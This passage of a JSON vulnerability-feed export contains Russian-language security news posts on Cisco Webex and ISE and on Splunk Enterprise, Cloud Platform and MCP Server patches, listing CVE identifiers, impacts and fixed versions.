\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 Splunk Enterprise, Cloud Platform \u0438 MCP Server, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0432 \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u0445 \u043f\u0430\u043a\u0435\u0442\u0430\u0445 \u0434\u043b\u044f \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432.\n\n\u0412 Splunk Enterprise and Cloud Platform \u0432\u0441\u043a\u0440\u044b\u0442\u0430 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, CVE-2026-20204, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438 \u0441 \u043d\u0438\u0437\u043a\u0438\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0434\u043b\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u0432\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u0438 RCE.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Splunk, \u043e\u0448\u0438\u0431\u043a\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\u0439 \u0438\u0437\u043e\u043b\u044f\u0446\u0438\u0435\u0439 \u0432 \u044d\u0442\u043e\u043c \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435.\n\n\u0412 Splunk Enterprise \u0438 Cloud Platform \u0431\u044b\u043b\u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u044b \u0434\u0432\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438.\n\n\u041e\u0434\u043d\u0430 \u0438\u0437 \u043d\u0438\u0445 \u043c\u043e\u0433\u043b\u0430 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0438\u043c\u0435\u043d \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0445 \u043d\u0443\u043b\u0435\u0432\u043e\u0439 \u0431\u0430\u0439\u0442 \u0438\u043b\u0438 \u0431\u0430\u0439\u0442, \u043d\u0435 \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0432 UTF-8, \u0447\u0442\u043e \u043f\u0440\u0435\u043f\u044f\u0442\u0441\u0442\u0432\u043e\u0432\u0430\u043b\u043e \u0438\u0445 \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u044e \u0432 \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u044b\u0439 \u0444\u043e\u0440\u043c\u0430\u0442, \u0430 \u0434\u0440\u0443\u0433\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u0438\u043b\u0438 \u0432\u044b\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u0443\u0441\u043a\u043e\u0440\u0435\u043d\u0438\u0435 \u043c\u043e\u0434\u0435\u043b\u0438 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c Splunk Enterprise \u0434\u043e 10.2.2, 10.0.5, 9.4.10, 9.3.11 \u0438\u043b\u0438 \u0432\u044b\u0448\u0435. \u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u043e\u0431\u043b\u0430\u0447\u043d\u043e\u0439 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b Splunk \u0435\u0449\u0435 \u0437\u0430\u043d\u0438\u043c\u0430\u0435\u0442\u0441\u044f.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0442\u0430\u043a\u0436\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 CVE-2026-20205, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0443\u044e \u0441\u043e\u0431\u043e\u0439 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0438 MCP Server, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u0440\u043e\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0442\u044c \u0441\u0435\u0441\u0441\u0438\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0438 \u0442\u043e\u043a\u0435\u043d\u044b \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438 \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0432\u0438\u0434\u0435.\n\n\u0414\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u043b\u0438\u0431\u043e \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0444\u0430\u0439\u043b\u0430\u043c \u0436\u0443\u0440\u043d\u0430\u043b\u043e\u0432, \u043b\u0438\u0431\u043e \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u043c \u0438\u043d\u0434\u0435\u043a\u0441\u0430\u043c. \u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043e\u0448\u0438\u0431\u043a\u0438 \u0431\u044b\u043b\u0438 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u0432 \u0432\u0435\u0440\u0441\u0438\u044e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f MCP Server 1.0.3. \n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u043e\u0448\u0438\u0431\u043e\u043a \u0432 \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u0445 \u043f\u0430\u043a\u0435\u0442\u0430\u0445 Splunk Enterprise, Operator for Kubernetes Add-on, \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0438 IT Service Intelligence (ITSI) \u0438 Universal Forwarder.\n\n\u0412 Splunk \u0442\u0430\u043a\u0436\u0435 \u043d\u0435 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u044e\u0442 \u043e \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445.", "creation_timestamp": "2026-04-16T15:20:07.000000Z"}, {"uuid": "3bec61ca-baf0-41eb-89d4-af1c01c984e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20147", "type": "seen", "source": "https://t.me/true_secator/8110", "content": "Cisco \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f 15 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0434\u043b\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432 Webex \u0438 Identity Services Engine (ISE).\n\n\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043e\u0448\u0438\u0431\u043a\u0430 Webex, CVE-2026-20184, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u044e \u0435\u0434\u0438\u043d\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u0430 (SSO) \u0441 Control Hub \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u0434\u0430\u0432\u0430\u0442\u044c \u0441\u0435\u0431\u044f \u0437\u0430 \u043b\u044e\u0431\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.\n\n\u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0430 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u0435\u0442 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u043a \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u0439 \u0442\u043e\u0447\u043a\u0435 \u0441\u0435\u0440\u0432\u0438\u0441\u0430 \u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0439 \u0442\u043e\u043a\u0435\u043d \u0434\u043b\u044f \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u043c \u0441\u0435\u0440\u0432\u0438\u0441\u0430\u043c Webex.\n\nCisco \u0440\u0430\u0437\u0440\u0435\u0448\u0438\u043b\u0430 \u044d\u0442\u0443 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u0432 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0445 \u0441\u0435\u0440\u0432\u0438\u0441\u0430\u0445 Webex, \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u043c \u0435\u0434\u0438\u043d\u044b\u0439 \u0432\u0445\u043e\u0434 (SSO), \u00ab\u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u043d\u043e\u0432\u044b\u0439 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442 SAML \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0430 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 (IdP) \u0432 Control Hub.\n\n\u041a\u0440\u043e\u043c \u0442\u043e\u0433\u043e, \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u0442\u0440\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 ISE, \u0434\u0432\u0435 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u2013 CVE-2026-20180 \u0438 CVE-2026-20186 \u2013 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432 \u0431\u0430\u0437\u043e\u0432\u043e\u0439 \u041e\u0421.\n\n\u041e\u0431\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u044b \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u043e\u0439 \u0432\u0445\u043e\u0434\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 HTTP-\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432, \u0430 \u0437\u0430\u0442\u0435\u043c \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f root.\n\n\u0412 \u043e\u0434\u043d\u043e\u0443\u0437\u043b\u043e\u0432\u044b\u0445 \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f\u0445 Cisco ISE \u044d\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f DoS, \u043f\u0440\u0435\u043f\u044f\u0442\u0441\u0442\u0432\u0443\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0443 \u043a \u0441\u0435\u0442\u0438 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0445 \u0442\u043e\u0447\u0435\u043a.\n\n\u0422\u0440\u0435\u0442\u044c\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c ISE, CVE-2026-20147, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432 \u0431\u0430\u0437\u043e\u0432\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0438 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0442\u0435\u043c \u0436\u0435 \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u043c, \u0447\u0442\u043e \u0438 \u0434\u0432\u0435 \u0434\u0440\u0443\u0433\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.\n\n\u041e\u0441\u0442\u0430\u0432\u0448\u0438\u0435\u0441\u044f 11 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 Cisco, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0441\u043e\u0431\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u0432\u0435\u0434\u0443\u0449\u0438\u0435 \u043a \u0430\u0442\u0430\u043a\u0430\u043c \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438, XSS, \u043e\u0431\u0445\u043e\u0434\u0443 \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0443\u0442\u0435\u0447\u043a\u0430\u043c \u0444\u0430\u0439\u043b\u043e\u0432, \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u0430\u0442\u0430\u043a\u0430\u043c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434.\n\nCisco \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442 \u043e\u0431 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0438 \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u043f\u043e\u043f\u044b\u0442\u043e\u043a \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445. \u041d\u043e \u0432\u0441\u0435 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043c\u0435\u043d\u044f\u0442\u044c\u0441\u044f.\n\n\u041f\u043e\u043c\u0438\u043c\u043e Cisco \u043d\u043e\u0432\u044b\u043c\u0438 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430\u043c\u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u00ab\u043e\u0431\u0440\u0430\u0434\u043e\u0432\u0430\u043b\u0430\u00bb Splunk, \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u044f \u043e\u0431 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 Splunk Enterprise, Cloud Platform \u0438 MCP Server, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0432 \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u0445 \u043f\u0430\u043a\u0435\u0442\u0430\u0445 \u0434\u043b\u044f \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432.\n\n\u0412 Splunk Enterprise and Cloud Platform \u0432\u0441\u043a\u0440\u044b\u0442\u0430 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, CVE-2026-20204, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438 \u0441 \u043d\u0438\u0437\u043a\u0438\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0434\u043b\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u0432\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u0438 RCE.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Splunk, \u043e\u0448\u0438\u0431\u043a\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\u0439 \u0438\u0437\u043e\u043b\u044f\u0446\u0438\u0435\u0439 \u0432 \u044d\u0442\u043e\u043c \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435.\n\n\u0412 Splunk Enterprise \u0438 Cloud Platform \u0431\u044b\u043b\u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u044b \u0434\u0432\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438.\n\n\u041e\u0434\u043d\u0430 \u0438\u0437 \u043d\u0438\u0445 \u043c\u043e\u0433\u043b\u0430 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0438\u043c\u0435\u043d \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0445 \u043d\u0443\u043b\u0435\u0432\u043e\u0439 \u0431\u0430\u0439\u0442 \u0438\u043b\u0438 \u0431\u0430\u0439\u0442, \u043d\u0435 \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0432 UTF-8, \u0447\u0442\u043e \u043f\u0440\u0435\u043f\u044f\u0442\u0441\u0442\u0432\u043e\u0432\u0430\u043b\u043e \u0438\u0445 \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u044e \u0432 \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u044b\u0439 \u0444\u043e\u0440\u043c\u0430\u0442, \u0430 \u0434\u0440\u0443\u0433\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u0438\u043b\u0438 \u0432\u044b\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u0443\u0441\u043a\u043e\u0440\u0435\u043d\u0438\u0435 \u043c\u043e\u0434\u0435\u043b\u0438 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c Splunk Enterprise \u0434\u043e 10.2.2, 10.0.5, 9.4.10, 9.3.11 \u0438\u043b\u0438 \u0432\u044b\u0448\u0435. \u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u043e\u0431\u043b\u0430\u0447\u043d\u043e\u0439 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b Splunk \u0435\u0449\u0435 \u0437\u0430\u043d\u0438\u043c\u0430\u0435\u0442\u0441\u044f.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0442\u0430\u043a\u0436\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 CVE-2026-20205, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0443\u044e \u0441\u043e\u0431\u043e\u0439 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0438 MCP Server, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c 